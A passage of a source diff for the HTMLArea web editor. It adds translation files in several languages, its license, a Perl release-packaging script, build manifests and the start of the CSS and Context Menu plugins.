+ justifyleft: "Venstrejuster",\r\r
+ justifycenter: "Midtjuster",\r\r
+ justifyright: "Høyrejuster",\r\r
+ justifyfull: "Blokkjuster",\r\r
+ orderedlist: "Nummerert liste",\r\r
+ unorderedlist: "Punktliste",\r\r
+ outdent: "Reduser innrykk",\r\r
+ indent: "Øke innrykk",\r\r
+ forecolor: "Tekstfarge",\r\r
+ hilitecolor: "Bakgrundsfarge",\r\r
+ inserthorizontalrule: "Vannrett linje",\r\r
+ createlink: "Lag lenke",\r\r
+ insertimage: "Sett inn bilde",\r\r
+ inserttable: "Sett inn tabell",\r\r
+ htmlmode: "Vis kildekode",\r\r
+ popupeditor: "Vis i eget vindu",\r\r
+ about: "Om denne editor",\r\r
+ showhelp: "Hjelp",\r\r
+ textindicator: "Nåværende stil",\r\r
+ undo: "Angrer siste redigering",\r\r
+ redo: "Gjør om siste angring",\r\r
+ cut: "Klipp ut område",\r\r
+ copy: "Kopier område",\r\r
+ paste: "Lim inn",\r\r
+ lefttoright: "Fra venstre mot høyre",\r\r
+ righttoleft: "Fra høyre mot venstre"\r\r
+ },\r\r
+ \r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Avbryt"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Tekstvelger",\r\r
+ "TEXT_MODE": "Du er i tekstmodus Klikk på [<>] for å gå tilbake til WYSIWIG.",\r\r
+ "IE-sucks-full-screen" :\r\r
+ // translate here\r\r
+ "Visning i eget vindu har kjente problemer med Internet Explorer, " + \r\r
+ "på grunn av problemer med denne nettleseren. Mulige problemer er et uryddig " + \r\r
+ "skjermbilde, manglende editorfunksjoner og/eller at nettleseren crasher. Hvis du bruker Windows 95 eller Windows 98 " +\r\r
+ "er det også muligheter for at Windows will crashe.\n\n" +\r\r
+ "Trykk 'OK' hvis du vil bruke visning i eget vindu på tross av denne advarselen."\r\r
+ },\r\r
+\r\r
+ dialogs: {\r\r
+ "Cancel" : "Avbryt",\r\r
+ "Insert/Modify Link" : "Rediger lenke",\r\r
+ "New window (_blank)" : "Eget vindu (_blank)",\r\r
+ "None (use implicit)" : "Ingen (bruk standardinnstilling)",\r\r
+ "OK" : "OK",\r\r
+ "Other" : "Annen",\r\r
+ "Same frame (_self)" : "Samme ramme (_self)",\r\r
+ "Target:" : "Mål:",\r\r
+ "Title (tooltip):" : "Tittel (tooltip):",\r\r
+ "Top frame (_top)" : "Toppramme (_top)",\r\r
+ "URL:" : "Adresse:",\r\r
+ "You must enter the URL where this link points to" : "Du må skrive inn en adresse som denne lenken skal peke til"\r\r
+ }\r\r
+};\r\r
+\r\r
--- /dev/null
+// I18N constants\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r
+ // the following should be the filename without .js extension\r
+ // it will be used for automatically load plugin language.\r
+ lang: "pl",\r
+\r
+ tooltips: {\r\r
+ bold: "Pogrubienie",\r\r
+ italic: "Pochylenie",\r\r
+ underline: "Podkre\9clenie",\r\r
+ strikethrough: "Przekre\9clenie",\r\r
+ subscript: "Indeks dolny",\r\r
+ superscript: "Indeks górny",\r\r
+ justifyleft: "Wyrównaj do lewej",\r\r
+ justifycenter: "Wy\9crodkuj",\r\r
+ justifyright: "Wyrównaj do prawej",\r\r
+ justifyfull: "Wyjustuj",\r\r
+ orderedlist: "Numerowanie",\r\r
+ unorderedlist: "Wypunktowanie",\r\r
+ outdent: "Zmniejsz wciêcie",\r\r
+ indent: "Zwiêksz wciêcie",\r\r
+ forecolor: "Kolor czcionki",\r\r
+ backcolor: "Kolor t³a",\r\r
+ horizontalrule: "Linia pozioma",\r\r
+ createlink: "Wstaw adres sieci Web",\r\r
+ insertimage: "Wstaw obraz",\r\r
+ inserttable: "Wstaw tabelê",\r\r
+ htmlmode: "Edycja WYSIWYG/w \9fródle strony",\r\r
+ popupeditor: "Pe³ny ekran",\r\r
+ about: "Informacje o tym edytorze",\r\r
+ help: "Pomoc",\r\r
+ textindicator: "Obecny styl"\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants\r\r
+// Brazilian Portuguese Translation by Alex Piaz <webmaster@globalmap.com>\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r
+ // the following should be the filename without .js extension\r
+ // it will be used for automatically load plugin language.\r
+ lang: "pt_br",\r
+\r
+ tooltips: {\r\r
+ bold: "Negrito",\r\r
+ italic: "Itálico",\r\r
+ underline: "Sublinhado",\r\r
+ strikethrough: "Tachado",\r\r
+ subscript: "Subescrito",\r\r
+ superscript: "Sobrescrito",\r\r
+ justifyleft: "Alinhar à Esquerda",\r\r
+ justifycenter: "Centralizar",\r\r
+ justifyright: "Alinhar à Direita",\r\r
+ justifyfull: "Justificar",\r\r
+ orderedlist: "Lista Numerada",\r\r
+ unorderedlist: "Lista Marcadores",\r\r
+ outdent: "Diminuir Indentação",\r\r
+ indent: "Aumentar Indentação",\r\r
+ forecolor: "Cor da Fonte",\r\r
+ backcolor: "Cor do Fundo",\r\r
+ horizontalrule: "Linha Horizontal",\r\r
+ createlink: "Inserir Link",\r\r
+ insertimage: "Inserir Imagem",\r\r
+ inserttable: "Inserir Tabela",\r\r
+ htmlmode: "Ver Código-Fonte",\r\r
+ popupeditor: "Expandir Editor",\r\r
+ about: "Sobre",\r\r
+ help: "Ajuda",\r\r
+ textindicator: "Estilo Atual"\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "ro", ENCODING: UTF-8
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ro",
+
+ tooltips: {
+ bold: "Îngroşat",
+ italic: "Italic",
+ underline: "Subliniat",
+ strikethrough: "Tăiat",
+ subscript: "Indice jos",
+ superscript: "Indice sus",
+ justifyleft: "Aliniere la stânga",
+ justifycenter: "Aliniere pe centru",
+ justifyright: "Aliniere la dreapta",
+ justifyfull: "Aliniere în ambele părţi",
+ orderedlist: "Listă ordonată",
+ unorderedlist: "Listă marcată",
+ outdent: "Micşorează alineatul",
+ indent: "Măreşte alineatul",
+ forecolor: "Culoarea textului",
+ hilitecolor: "Culoare de fundal",
+ horizontalrule: "Linie orizontală",
+ createlink: "Inserează/modifică link",
+ insertimage: "Inserează/modifică imagine",
+ inserttable: "Inserează un tabel",
+ htmlmode: "Sursa HTML / WYSIWYG",
+ popupeditor: "Maximizează editorul",
+ about: "Despre editor",
+ showhelp: "Documentaţie (devel)",
+ textindicator: "Stilul curent",
+ undo: "Anulează ultima acţiune",
+ redo: "Reface ultima acţiune anulată",
+ cut: "Taie în clipboard",
+ copy: "Copie în clipboard",
+ paste: "Aduce din clipboard",
+ lefttoright: "Direcţia de scriere: stânga - dreapta",
+ righttoleft: "Direcţia de scriere: dreapta - stânga"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Anulează"
+ },
+
+ msg: {
+ "Path": "Calea",
+ "TEXT_MODE": "Eşti în modul TEXT. Apasă butonul [<>] pentru a te întoarce în modul WYSIWYG."
+ },
+
+ dialogs: {
+ "Cancel" : "Renunţă",
+ "Insert/Modify Link" : "Inserează/modifcă link",
+ "New window (_blank)" : "Fereastră nouă (_blank)",
+ "None (use implicit)" : "Nimic (foloseşte ce-i implicit)",
+ "OK" : "Acceptă",
+ "Other" : "Alt target",
+ "Same frame (_self)" : "Aceeaşi fereastră (_self)",
+ "Target:" : "Ţinta:",
+ "Title (tooltip):" : "Titlul (tooltip):",
+ "Top frame (_top)" : "Fereastra principală (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "Trebuie să introduceţi un URL"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "ru", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Yulya Shtyryakova, <yulya@vdcom.ru>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "ru",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Полужирный",\r\r
+ italic: "Наклонный",\r\r
+ underline: "Подчеркнутый",\r\r
+ strikethrough: "Перечеркнутый",\r\r
+ subscript: "Нижний индекс",\r\r
+ superscript: "Верхний индекс",\r\r
+ justifyleft: "По левому краю",\r\r
+ justifycenter: "По центру",\r\r
+ justifyright: "По правому краю",\r\r
+ justifyfull: "По ширине",\r\r
+ orderedlist: "Нумерованный лист",\r\r
+ unorderedlist: "Маркированный лист",\r\r
+ outdent: "Уменьшить отступ",\r\r
+ indent: "Увеличить отступ",\r\r
+ forecolor: "Цвет шрифта",\r\r
+ hilitecolor: "Цвет фона",\r\r
+ horizontalrule: "Горизонтальный разделитель",\r\r
+ createlink: "Вставить гиперссылку",\r\r
+ insertimage: "Вставить изображение",\r\r
+ inserttable: "Вставить таблицу",\r\r
+ htmlmode: "Показать Html-код",\r\r
+ popupeditor: "Увеличить редактор",\r\r
+ about: "О редакторе",\r\r
+ showhelp: "Помощь",\r\r
+ textindicator: "Текущий стиль",\r\r
+ undo: "Отменить",\r\r
+ redo: "Повторить",\r\r
+ cut: "Вырезать",\r\r
+ copy: "Копировать",\r\r
+ paste: "Вставить"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Отмена"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Путь",\r\r
+ "TEXT_MODE": "Вы в режиме отображения Html-кода. нажмите кнопку [<>], чтобы переключиться в визуальный режим."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// Swedish version for htmlArea v3.0 - Alpha Release\r\r
+// - translated by pat<pat@engvall.nu>\r\r
+// term´s and licenses are equal to htmlarea!\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r
+ // the following should be the filename without .js extension\r
+ // it will be used for automatically load plugin language.\r
+ lang: "se",\r
+\r
+ tooltips: {\r\r
+ bold: "Fet",\r\r
+ italic: "Kursiv",\r\r
+ underline: "Understruken",\r\r
+ strikethrough: "Genomstruken",\r\r
+ subscript: "Nedsänkt",\r\r
+ superscript: "Upphöjd",\r\r
+ justifyleft: "Vänsterjustera",\r\r
+ justifycenter: "Centrera",\r\r
+ justifyright: "Högerjustera",\r\r
+ justifyfull: "Marginaljustera",\r\r
+ orderedlist: "Numrerad lista",\r\r
+ unorderedlist: "Punktlista",\r\r
+ outdent: "Minska indrag",\r\r
+ indent: "Öka indrag",\r\r
+ forecolor: "Textfärg",\r\r
+ backcolor: "Bakgrundsfärg",\r\r
+ horizontalrule: "Vågrät linje",\r\r
+ createlink: "Infoga länk",\r\r
+ insertimage: "Infoga bild",\r\r
+ inserttable: "Infoga tabell",\r\r
+ htmlmode: "Visa källkod",\r\r
+ popupeditor: "Visa i eget fönster",\r\r
+ about: "Om denna editor",\r\r
+ help: "Hjälp",\r\r
+ textindicator: "Nuvarande stil"\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "si", ENCODING: ISO-8859-2\r\r
+// Author: Tomaz Kregar, x_tomo_x@email.si\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "si",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Krepko",\r\r
+ italic: "Le¾eèe",\r\r
+ underline: "Podèrtano",\r\r
+ strikethrough: "Preèrtano",\r\r
+ subscript: "Podpisano",\r\r
+ superscript: "Nadpisano",\r\r
+ justifyleft: "Poravnaj levo",\r\r
+ justifycenter: "Na sredino",\r\r
+ justifyright: "Poravnaj desno",\r\r
+ justifyfull: "Porazdeli vsebino",\r\r
+ orderedlist: "O¹tevilèevanje",\r\r
+ unorderedlist: "Oznaèevanje",\r\r
+ outdent: "Zmanj¹aj zamik",\r\r
+ indent: "Poveèaj zamik",\r\r
+ forecolor: "Barva pisave",\r\r
+ hilitecolor: "Barva ozadja",\r\r
+ horizontalrule: "Vodoravna èrta",\r\r
+ createlink: "Vstavi hiperpovezavo",\r\r
+ insertimage: "Vstavi sliko",\r\r
+ inserttable: "Vstavi tabelo",\r\r
+ htmlmode: "Preklopi na HTML kodo",\r\r
+ popupeditor: "Poveèaj urejevalnik",\r\r
+ about: "Vizitka za urejevalnik",\r\r
+ showhelp: "Pomoè za urejevalnik",\r\r
+ textindicator: "Trenutni slog",\r\r
+ undo: "Razveljavi zadnjo akcijo",\r\r
+ redo: "Uveljavi zadnjo akcijo",\r\r
+ cut: "Izre¾i",\r\r
+ copy: "Kopiraj",\r\r
+ paste: "Prilepi"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "V redu",\r\r
+ "cancel": "Preklièi"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Pot",\r\r
+ "TEXT_MODE": "Si v tekstovnem naèinu. Uporabi [<>] gumb za prklop nazaj na WYSIWYG."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants : Vietnamese
+// LANG: "en", ENCODING: UTF-8
+// Author: Nguyễn Đình Nam, <hncryptologist@yahoo.com>
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "vn",
+
+ tooltips: {
+ bold: "Đậm",
+ italic: "Nghiêng",
+ underline: "Gạch Chân",
+ strikethrough: "Gạch Xóa",
+ subscript: "Viết Xuống Dưới",
+ superscript: "Viết Lên Trên",
+ justifyleft: "Căn Trái",
+ justifycenter: "Căn Giữa",
+ justifyright: "Căn Phải",
+ justifyfull: "Căn Đều",
+ orderedlist: "Danh Sách Có Thứ Tự",
+ unorderedlist: "Danh Sách Phi Thứ Tự",
+ outdent: "Lùi Ra Ngoài",
+ indent: "Thụt Vào Trong",
+ forecolor: "Màu Chữ",
+ backcolor: "Màu Nền",
+ horizontalrule: "Dòng Kẻ Ngang",
+ createlink: "Tạo Liên Kết",
+ insertimage: "Chèn Ảnh",
+ inserttable: "Chèn Bảng",
+ htmlmode: "Chế Độ Mã HTML",
+ popupeditor: "Phóng To Ô Soạn Thảo",
+ about: "Tự Giới Thiệu",
+ showhelp: "Giúp Đỡ",
+ textindicator: "Định Dạng Hiện Thời",
+ undo: "Undo",
+ redo: "Redo",
+ cut: "Cắt",
+ copy: "Copy",
+ paste: "Dán"
+ },
+ buttons: {
+ "ok": "OK",
+ "cancel": "Hủy"
+ },
+ msg: {
+ "Path": "Đường Dẫn",
+ "TEXT_MODE": "Bạn đang ở chế độ text. Sử dụng nút [<>] để chuyển lại chế độ WYSIWIG."
+ }
+};
--- /dev/null
+htmlArea License (based on BSD license)\r\r
+Copyright (c) 2002-2004, interactivetools.com, inc.\r\r
+Copyright (c) 2003-2004 dynarch.com\r\r
+All rights reserved.\r\r
+\r\r
+Redistribution and use in source and binary forms, with or without\r\r
+modification, are permitted provided that the following conditions are met:\r\r
+\r\r
+1) Redistributions of source code must retain the above copyright notice,\r\r
+ this list of conditions and the following disclaimer.\r\r
+\r\r
+2) Redistributions in binary form must reproduce the above copyright notice,\r\r
+ this list of conditions and the following disclaimer in the documentation\r\r
+ and/or other materials provided with the distribution.\r\r
+\r\r
+3) Neither the name of interactivetools.com, inc. nor the names of its\r\r
+ contributors may be used to endorse or promote products derived from this\r\r
+ software without specific prior written permission.\r\r
+\r\r
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"\r\r
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\r\r
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\r\r
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\r\r
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\r\r
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\r\r
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\r\r
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\r\r
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\r\r
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\r\r
+POSSIBILITY OF SUCH DAMAGE.\r\r
--- /dev/null
+#! /usr/bin/perl -w
+# $Id: make-release.pl,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+
+# Script for creating a distribution archive. Based on make-release.pl from
+# jscalendar.
+
+# Author: Mihai Bazon, http://dynarch.com/mishoo
+# NO WARRANTIES WHATSOEVER. READ GNU LGPL.
+
+# This file requires HTML::Mason; this module is used for automatic
+# substitution of the version/release number as well as for selection of the
+# changelog (at least in the file release-notes.html). It might not work
+# without HTML::Mason.
+
+use strict;
+# use diagnostics;
+use HTML::Mason;
+use File::Find;
+use XML::Parser;
+use Data::Dumper;
+
+my $verbosity = 1;
+
+my $tmpdir = '/tmp';
+
+my $config = parseXML("project-config.xml");
+speak(3, Data::Dumper::Dumper($config));
+
+my ($project, $version, $release, $basename);
+
+$project = $config->{project}{ATTR}{title};
+$version = $config->{project}{version}{DATA};
+$release = $config->{project}{release}{DATA};
+$basename = "$project-$version";
+$basename .= "-$release" if ($release);
+
+speak(1, "Project: $basename");
+
+## create directory tree
+my ($basedir);
+{
+ # base directory
+ $basedir = "$tmpdir/$basename";
+ if (-d $basedir) {
+ speak(-1, "$basedir already exists, removing... >:-]\n");
+ system "rm -rf $basedir";
+ }
+}
+
+process_directory();
+
+## make the ZIP file
+chdir "$basedir/..";
+speak(1, "Making ZIP file /tmp/$basename.zip");
+system ("zip -r $basename.zip $basename > /dev/null");
+system ("ls -la /tmp/$basename.zip");
+
+## remove the basedir
+system("rm -rf $basedir");
+
+## back
+#chdir $cwd;
+
+
+
+### SUBROUTINES
+
+# handle _one_ file
+sub process_one_file {
+ my ($attr, $target) = @_;
+
+ $target =~ s/\/$//;
+ $target .= '/';
+ my $destination = $target.$attr->{REALNAME};
+
+ # copy file first
+ speak(1, " copying $attr->{REALNAME}");
+ system "cp $attr->{REALNAME} $destination";
+
+ my $masonize = $attr->{masonize} || '';
+ if ($masonize =~ /yes|on|1/i) {
+ speak(1, " > masonizing to $destination...");
+ my $args = $attr->{args} || '';
+ my @vars = split(/\s*,\s*/, $args);
+ my %args = ();
+ foreach my $i (@vars) {
+ $args{$i} = eval '$'.$i;
+ speak(1, " > argument: $i => $args{$i}");
+ }
+ my $outbuf;
+ my $interp = HTML::Mason::Interp->new ( comp_root => $target,
+ out_method => \$outbuf );
+ $interp->exec("/$attr->{REALNAME}", %args);
+ open (FILE, "> $destination");
+ print FILE $outbuf;
+ close (FILE);
+ }
+}
+
+# handle some files
+sub process_files {
+ my ($files, $target) = @_;
+
+ # proceed with the explicitely required files first
+ my %options = ();
+ foreach my $i (@{$files}) {
+ $options{$i->{ATTR}{name}} = $i->{ATTR};
+ }
+
+ foreach my $i (@{$files}) {
+ my @expanded = glob "$i->{ATTR}{name}";
+ foreach my $file (@expanded) {
+ $i->{ATTR}{REALNAME} = $file;
+ if (defined $options{$file}) {
+ unless (defined $options{$file}->{PROCESSED}) {
+ speak(1, "EXPLICIT FILE: $file");
+ $options{$file}->{REALNAME} = $file;
+ process_one_file($options{$file}, $target);
+ $options{$file}->{PROCESSED} = 1;
+ }
+ } else {
+ speak(2, "GLOB: $file");
+ process_one_file($i->{ATTR}, $target);
+ $options{$file} = 2;
+ }
+ }
+ }
+}
+
+# handle _one_ directory
+sub process_directory {
+ my ($dir, $path) = @_;
+ my $cwd = '..'; # ;-)
+
+ (defined $dir) || ($dir = '.');
+ (defined $path) || ($path = '');
+ speak(2, "DIR: $path$dir");
+ $dir =~ s/\/$//;
+ $dir .= '/';
+
+ unless (-d $dir) {
+ speak(-1, "DIRECTORY '$dir' NOT FOUND, SKIPPING");
+ return 0;
+ }
+
+ # go where we have stuff to do
+ chdir $dir;
+
+ my $target = $basedir;
+ ($path =~ /\S/) && ($target .= "/$path");
+ ($dir ne './') && ($target .= $dir);
+
+ speak(1, "*** Creating directory: $target");
+ mkdir $target;
+
+ unless (-f 'makefile.xml') {
+ speak(-1, "No makefile.xml in this directory");
+ chdir $cwd;
+ return 0;
+ }
+ my $config = parseXML("makefile.xml");
+ speak(3, Data::Dumper::Dumper($config));
+
+ my $tmp = $config->{files}{file};
+ if (defined $tmp) {
+ my $files;
+ if (ref($tmp) eq 'ARRAY') {
+ $files = $tmp;
+ } else {
+ $files = [ $tmp ];
+ }
+ process_files($files, $target);
+ }
+
+ $tmp = $config->{files}{dir};
+ if (defined $tmp) {
+ my $subdirs;
+ if (ref($tmp) eq 'ARRAY') {
+ $subdirs = $tmp;
+ } else {
+ $subdirs = [ $tmp ];
+ }
+ foreach my $i (@{$subdirs}) {
+ process_directory($i->{ATTR}{name}, $path.$dir);
+ }
+ }
+
+ # get back to our previous location
+ chdir $cwd;
+}
+
+# this does all the XML parsing shit we'll need for our little task
+sub parseXML {
+ my ($filename) = @_;
+ my $rethash = {};
+
+ my @tagstack;
+
+ my $handler_start = sub {
+ my ($parser, $tag, @attrs) = @_;
+ my $current_tag = {};
+ $current_tag->{NAME} = $tag;
+ $current_tag->{DATA} = '';
+ push @tagstack, $current_tag;
+ if (scalar @attrs) {
+ my $attrs = {};
+ $current_tag->{ATTR} = $attrs;
+ while (scalar @attrs) {
+ my $name = shift @attrs;
+ my $value = shift @attrs;
+ $attrs->{$name} = $value;
+ }
+ }
+ };
+
+ my $handler_char = sub {
+ my ($parser, $data) = @_;
+ if ($data =~ /\S/) {
+ $tagstack[$#tagstack]->{DATA} .= $data;
+ }
+ };
+
+ my $handler_end = sub {
+ my $current_tag = pop @tagstack;
+ if (scalar @tagstack) {
+ my $tmp = $tagstack[$#tagstack]->{$current_tag->{NAME}};
+ if (defined $tmp) {
+ ## better build an array, there are more elements with this tagname
+ if (ref($tmp) eq 'ARRAY') {
+ ## oops, the ARRAY is already there, just add the new element
+ push @{$tmp}, $current_tag;
+ } else {
+ ## create the array "in-place"
+ $tagstack[$#tagstack]->{$current_tag->{NAME}} = [ $tmp, $current_tag ];
+ }
+ } else {
+ $tagstack[$#tagstack]->{$current_tag->{NAME}} = $current_tag;
+ }
+ } else {
+ $rethash->{$current_tag->{NAME}} = $current_tag;
+ }
+ };
+
+ my $parser = new XML::Parser
+ ( Handlers => { Start => $handler_start,
+ Char => $handler_char,
+ End => $handler_end } );
+ $parser->parsefile($filename);
+
+ return $rethash;
+}
+
+# print somethign according to the level of verbosity
+# receives: verbosity_level and message
+# prints message if verbosity_level >= $verbosity (global)
+sub speak {
+ my ($v, $t) = @_;
+ if ($v < 0) {
+ print STDERR "\033[1;31m!! $t\033[0m\n";
+ } elsif ($verbosity >= $v) {
+ print $t, "\n";
+ }
+}
--- /dev/null
+<files>
+ <file name="*.{js,html,css,cgi}" />
+ <file name="license.txt" />
+ <file name="release-notes.html" masonize="yes" />
+ <file name="index.html" masonize="yes" />
+ <file name="ChangeLog" />
+
+ <dir name="lang" />
+ <dir name="plugins" />
+ <dir name="popups" />
+ <dir name="images" />
+ <dir name="examples" />
+
+ <shell dir="dest"><![CDATA[
+ find . -type d -exec chmod 755 {} \; ;
+ find . -type f -exec chmod 644 {} \; ;
+ find . -type f -name "*.cgi" -exec chmod 755 {} \; ;
+ ]]></shell>
+</files>
--- /dev/null
+// Simple CSS (className) plugin for the editor
+// Sponsored by http://www.miro.com.au
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo.
+//
+// (c) dynarch.com 2003
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: css.js,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+
+function CSS(editor, params) {
+ this.editor = editor;
+ var cfg = editor.config;
+ var toolbar = cfg.toolbar;
+ var self = this;
+ var i18n = CSS.I18N;
+ var plugin_config = params[0];
+ var combos = plugin_config.combos;
+
+ var first = true;
+ for (var i = combos.length; --i >= 0;) {
+ var combo = combos[i];
+ var id = "CSS-class" + i;
+ var css_class = {
+ id : id,
+ options : combo.options,
+ action : function(editor) { self.onSelect(editor, this, combo.context, combo.updatecontextclass); },
+ refresh : function(editor) { self.updateValue(editor, this); },
+ context : combo.context
+ };
+ cfg.registerDropdown(css_class);
+
+ // prepend to the toolbar
+ toolbar[1].splice(0, 0, first ? "separator" : "space");
+ toolbar[1].splice(0, 0, id);
+ if (combo.label)
+ toolbar[1].splice(0, 0, "T[" + combo.label + "]");
+ first = false;
+ }
+};
+
+CSS._pluginInfo = {
+ name : "CSS",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "Miro International",
+ sponsor_url : "http://www.miro.com.au",
+ license : "htmlArea"
+};
+
+CSS.prototype.onSelect = function(editor, obj, context, updatecontextclass) {
+ var tbobj = editor._toolbarObjects[obj.id];
+ var index = tbobj.element.selectedIndex;
+ var className = tbobj.element.value;
+
+ // retrieve parent element of the selection
+ var parent = editor.getParentElement();
+ var surround = true;
+
+ var is_span = (parent && parent.tagName.toLowerCase() == "span");
+ var update_parent = (context && updatecontextclass && parent && parent.tagName.toLowerCase() == context);
+
+ if (update_parent) {
+ parent.className = className;
+ editor.updateToolbar();
+ return;
+ }
+
+ if (is_span && index == 0 && !/\S/.test(parent.style.cssText)) {
+ while (parent.firstChild) {
+ parent.parentNode.insertBefore(parent.firstChild, parent);
+ }
+ parent.parentNode.removeChild(parent);
+ editor.updateToolbar();
+ return;
+ }
+
+ if (is_span) {
+ // maybe we could simply change the class of the parent node?
+ if (parent.childNodes.length == 1) {
+ parent.className = className;
+ surround = false;
+ // in this case we should handle the toolbar updation
+ // ourselves.
+ editor.updateToolbar();
+ }
+ }
+
+ // Other possibilities could be checked but require a lot of code. We
+ // can't afford to do that now.
+ if (surround) {
+ // shit happens ;-) most of the time. this method works, but
+ // it's dangerous when selection spans multiple block-level
+ // elements.
+ editor.surroundHTML("<span class='" + className + "'>", "</span>");
+ }
+};
+
+CSS.prototype.updateValue = function(editor, obj) {
+ var select = editor._toolbarObjects[obj.id].element;
+ var parent = editor.getParentElement();
+ if (typeof parent.className != "undefined" && /\S/.test(parent.className)) {
+ var options = select.options;
+ var value = parent.className;
+ for (var i = options.length; --i >= 0;) {
+ var option = options[i];
+ if (value == option.value) {
+ select.selectedIndex = i;
+ return;
+ }
+ }
+ }
+ select.selectedIndex = 0;
+};
--- /dev/null
+// none yet; this file is a stub.
+CSS.I18N = {};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
+
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+</files>
+
--- /dev/null
+#! /usr/bin/perl -w
+
+use strict;
+
+my $file = 'context-menu.js';
+my $outfile = $file.'-i18n';
+my $langfile = 'en.js';
+
+open FILE, "<$file";
+#open OUTFILE, ">$outfile";
+#open LANGFILE, ">$langfile";
+my %texts = ();
+while (<FILE>) {
+ if (/"(.*?)"/) {
+ my $inline = $_;
+ chomp $inline;
+ my $key = $1;
+ my $val = $1;
+ print "Key: [$key]: ";
+ my $line = <STDIN>;
+ if (defined $line) {
+ chomp $line;
+ if ($line =~ /(\S+)/) {
+ $key = $1;
+ print "-- using $key\n";
+ }
+ $texts{$val} = $key;
+ } else {
+ print " -- skipped...\n";
+ }
+ }
+}
+#close LANGFILE;
+#close OUTFILE;
+close FILE;
+
+print "\n\n\n";
+print '"', join("\"\n\"", sort keys %texts), '"', "\n";
--- /dev/null
+// Context Menu Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: context-menu.js,v 1.1.1.1 2006/03/27 14:44:12 cscott Exp $
+
+HTMLArea.loadStyle("menu.css", "ContextMenu");
+
+function ContextMenu(editor) {
+ this.editor = editor;
+};
+
+ContextMenu._pluginInfo = {
+ name : "ContextMenu",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "dynarch.com",
+ sponsor : "American Bible Society",
+ sponsor_url : "http://www.americanbible.org",
+ license : "htmlArea"
+};
+
+ContextMenu.prototype.onGenerate = function() {
+ var self = this;
+ var doc = this.editordoc = this.editor._iframe.contentWindow.document;
